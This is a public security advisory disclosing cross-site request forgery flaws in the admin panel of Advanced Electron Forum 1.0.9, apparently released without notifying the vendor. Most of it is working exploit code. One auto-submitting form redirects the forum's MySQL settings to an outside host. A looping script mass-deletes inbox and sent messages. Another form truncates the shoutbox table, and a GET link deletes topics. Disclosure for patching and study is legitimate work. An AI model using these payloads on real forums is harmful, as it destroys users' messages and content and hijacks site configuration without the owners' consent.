Advanced Electron Forum 1.0.9 Cross Site Request Forgery

`[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source: http://hyp3rlinx.altervista.org/advisories/AEF-CSRF.txt  
  
  
  
Vendor:  
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www.anelectron.com/downloads/  
  
  
  
Product:  
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Advanced Electron Forum v1.0.9 (AEF)  
Exploit patched current version.  
  
  
  
Vulnerability Type:  
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CSRF  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
In Admin panel no CSRF protections exist in multiple areas allowing remote  
attackers to make HTTP request on behalf of the victim if they  
currently have a valid session (logged in) and visit or click an infected  
link, resulting in some of the following destructions.  
  
0x01: Change current database settings  
  
0x02: Delete all Inbox / Sent Emails  
  
0x03: Delete all 'shouts'  
  
0x04: Delete all Topics  
  
by the way, edit profile, avatar and more all seem vulnerable as well..  
  
  
Exploit code(s):  
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CSRF 0x01:  
  
change mysql db settings  
note: however you will need to know or guess the database name.  
  
<form id="DOOM" accept-charset="ISO-8859-1" action="  
http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=conpan&seadact=mysqlset"  
method="post" name="mysqlsetform">  
<input type="hidden" name="server" value="hyp3rlinx.altervista.org" />  
<input type="hidden" name="user" value="hyp3rlinx" />  
<input type="hidden" name="password" value="DESTROYED" />  
<input type="hidden" name="database" value="AEF" />  
<input type="hidden" name="dbprefix" value="aef_" />  
<script>document.getElementById('DOOM').submit()</script>  
</form>  
  
  
CSRF 0x02:  
  
Delete all Inbox / Sent emails...  
  
<iframe name="demonz" style="display:none" name="hidden-form"></iframe>  
  
<form id="DESTRUCT" target="demonz" action="  
http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=sentitems"  
method="post">  
<input type="hidden" id="sent" name="list[]" />  
<input type="hidden" name="deleteselsent" value="Delete+Selected" />  
</form>  
  
<form id="DOOM" target="demonz" action="  
http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=inbox"  
method="post">  
<input type="hidden" id="inbox" name="list[]" />  
<input type="hidden" name="deleteselinbox" value="Delete+Selected" />  
</form>  
  
<script>  
//Sent Email IDs seem to be stored using even numbers 2,4,6 etc...  
//Inbox Email IDs seem to use odd numbers  
var c=-1  
var uwillsuffer;  
var amttodelete=10000  
var inbox=document.getElementById("inbox")  
var outbox=document.getElementById("sent")  
  
function RUIN_EVERYTHING(){  
c++  
//Inbox IDs are even numbered Sent are odd.  
if(c % 2 == 0){  
arguments[3].value=c  
document.getElementById(arguments[1]).submit()  
}else{  
arguments[2].value=c  
document.getElementById(arguments[0]).submit()  
}  
if(c>=amttodelete){  
clearInterval(uwillsuffer)  
alert("Done!")  
}  
}  
uwillsuffer = setInterval(RUIN_EVERYTHING, 1000, "DOOM", "DESTRUCT", inbox,  
outbox)  
</script>  
  
  
  
CSRF 0x03:  
  
Delete all 'Shouts'  
  
<form accept-charset="ISO-8859-1" id="SPECTOR_OF_HATE" action="  
http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=conpan&seadact=shoutboxset"  
method="post">  
<input type="hidden" name="shouts" value="10" />  
<input type="hidden" name="shoutboxtime" value="1440" />  
<input type="hidden" name="shoutbox_emot" value="on" />  
<input type="hidden" name="shoutbox_nbbc" value="on" />  
<input type="hidden" name="truncatetable" value="on" />  
<input type="hidden" name="delallshouts" value="Delete" />  
<script>document.getElementById('SPECTOR_OF_HATE').submit()</script>  
</form>  
  
  
CSRF 0x04:  
  
Delete all 'Topics' via simple GET request, this will delete topics 1 thru  
7...  
  
http://localhost/AEF(1.0.9)_Install/index.php?act=deletetopic&topid=7,6,5,4,3,2,1  
  
  
Disclosure Timeline:  
=======================================  
Vendor Notification: NA  
January 17, 2016 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
======================  
Remote  
  
  
  
Severity Level:  
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High  
  
  
  
Description:  
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Request Method(s): [+] POST / GET  
  
  
Vulnerable Product: [+] AEF v1.0.9 (exploit patched version)  
  
  
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[+] Disclaimer  
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The author is not responsible for any misuse of the information contained  
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or exploits by the author or elsewhere.  
  
by hyp3rlinx  
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